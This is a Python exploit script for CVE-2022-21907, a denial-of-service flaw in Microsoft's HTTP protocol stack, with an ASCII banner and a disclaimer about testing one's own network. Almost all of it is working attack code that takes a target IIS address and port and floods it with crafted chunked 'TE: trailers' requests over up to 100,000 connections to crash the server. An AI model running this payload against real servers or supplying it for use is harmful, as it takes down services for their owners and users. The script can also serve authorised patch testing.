Microsoft HTTP protocol stack denial of service exploit that leverages the vulnerability in CVE-2022-21907.
1a2ac61bc1ad8e5a68067003f84a4833#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit developed by the polakow from the past (@ltdominikow)
# This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.
# As a drunk wise man said: "Please, don't be a 'culiao'!" Use this exploit for testing your own network and patch your affected systems.
from colorama import Fore, Style, init
import argparse
import socket
import ssl
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def banner():
print(f"""\n\n{Fore.GREEN} ****** ** ** ******** **** **** **** **** **** ** **** **** ******
**////**/** /**/**///// */// * *///** */// * */// * */// * *** */// * *///**//////*
** // /** /**/** / /*/* */*/ /*/ /* / /*//** /* /*/* */* /*
/** //** ** /******* ***** *** /* * /* *** *** ***** *** /** / **** /* * /* *
/** //** ** /**//// ///// *// /** /* *// *// ///// *// /** ///* /** /* *
//** ** //**** /** * /* /* * * * /** * /* /* *
//****** //** /******** /******/ **** /******/****** /****** **** * / **** *
////// // //////// ////// //// ////// ////// ////// //// / //// / """)
print(f"\n\nAuthor: polakow(@ltdominikow)\n{Style.RESET_ALL}")
print(f"{Fore.RED}[!] Warning: This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.{Style.RESET_ALL}\n")
print(f"{Fore.CYAN}[*] Patch URL: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907{Style.RESET_ALL}\n")
def parseArgs():
parser = argparse.ArgumentParser(description="Description message")
parser.add_argument("-t", "--target", default=None, required=True, help="IIS Server. For instance: 192.168.1.110")
parser.add_argument("-p", "--port", default=None, required=True, help="Port of the IIS server. For instance: 80")
parser.add_argument("-v", "--ipversion", default=None, required=True, help="IP version: 4 or 6")
return parser.parse_args()
def isServiceRunning(ip, port, ipVersion):
if port == 443:
targetURL = "https://"
else:
targetURL = "http://"
if ipVersion == 6:
targetURL = targetURL + '[' + ip + ']'
else:
targetURL = targetURL + ip
try:
requests.get(targetURL, timeout=4, verify=False)
except Exception as e:
return False
return True
def checkServerStatus(ip, port, ipVersion):
if isServiceRunning(ip, port, ipVersion):
print(f'[*] The server is {Fore.GREEN}running{Style.RESET_ALL}!')
else:
print(f'[!] The server is {Fore.RED}not running{Style.RESET_ALL}!')
def exploit(ip, port, ipVersion):
print("[*] Attacking: %s on port %d" % (ip, port))
# Evil request
data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n"
if ipVersion == 6:
payload = "GET / HTTP/1.1\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
payload2 = "GET /\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
else:
payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
# Attack!
for i in range(0, 100000):
try:
# IPv6
if ipVersion == 6:
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
# Attack HTTPS or HTTP
if port == 443:
context = ssl._create_unverified_context()
so = context.wrap_socket(s, server_hostname=ip)
so.connect((ip, port))
so.sendall(payload.encode('ascii'))
if i % 10000 == 0:
print("[*] Sending evil payload...")
so.sendall(payload2.encode('ascii'))
else:
s.connect((ip, port))
s.sendall(payload.encode('ascii'))
if i % 10000 == 0:
print("[*] Sending evil payload...")
s.sendall(payload2.encode('ascii'))
except socket.timeout:
print("[*] Timeout! Checking server status...")
checkServerStatus(ip, port, ipVersion)
break
except Exception as e:
print(e)
break
if __name__ == '__main__':
init(convert=True)
# Banner
banner()
# Args
args = parseArgs()
port = args.port
ipVersion = args.ipversion
# Check digits
if not port.isdigit() and not ipVersion.isdigit():
print("The port must be a number!")
exit(1)
# Remove protocol
if args.target.startswith('https://'):
ip = args.target.replace("https://", "")
elif args.target.startswith('http://'):
ip = args.target.replace("http://", "")
else:
ip = args.target
# Remove backslash
if ip.endswith("/"):
ip = ip.replace("/", "")
# Remove ipv6 http/https
if ip.endswith("]") and ip.startswith("["):
ip = ip.replace("[", "").replace("]", "")
# Check ip version
if not int(ipVersion) == 6 and not int(ipVersion) == 4:
print("The IP version is invalid.")
exit(1)
# Check server status
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
checkServerStatus(ip, int(port), int(ipVersion))
# Exploit!
exploit(ip, int(port), int(ipVersion))